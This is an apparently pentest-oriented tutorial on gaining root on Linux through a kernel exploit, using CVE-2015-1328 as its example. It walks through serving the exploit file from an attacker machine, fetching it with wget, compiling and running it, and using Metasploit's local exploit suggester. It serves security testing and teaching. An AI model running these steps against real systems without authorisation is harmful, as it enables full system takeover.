Kernel vulnerability exploits¶
Become root on Linux via kernel exploit:
Identify the kernel version
Detect vulnerabilities
Develop or acquire exploit code
Transfer the exploit to the target machine
Execute the exploit on the target
Example: CVE-2015-1328¶
For CVE-2015-1328 exploit-db lists several possible exploits:
Using 37292¶
Create a local file
37292.cin the/tmp/directory and paste the code in the fileStart a local python http server:
python -m http.server 8080From the target machine:
wget http://<IP address attack machine>:8080/37292.cCompile on target machine:
gcc 37292.c -o 37292Make executable:
chmod +x 37292Check current user:
idRun the compiled exploit:
./37292Check current user:
id
Using 40688¶
Upgrade existing shell (meterpreter, ssh, or a basic command shell) to
meterpretersession
Open a new meterpreter session with:
sessions -u <number>
Or upgrade the most recently opened session to meterpreter:
sessions -u -1
Load the
local_exploit_suggestermodule inmsfconsole:
meterpreter> use post/multi/recon/local_exploit_suggester
Set the SESSION option for the module to the session ID of the meterpreter session, and
runTest the exploit modules recommended by
local_exploit_suggester. The first few modules in the output usually have a higher chance of working successfully.Load a module, set the module options and
exploitAn exploit can fail for many reasons. If not works, try the next one or install missing components for it to run.
Notes¶
A failed kernel exploit can crash the system, so whether that outcome is acceptable within the engagement’s scope is worth settling before attempting one.
The exploit code can be transferred from the attacker machine to the target using the SimpleHTTPServer Python module and wget respectively.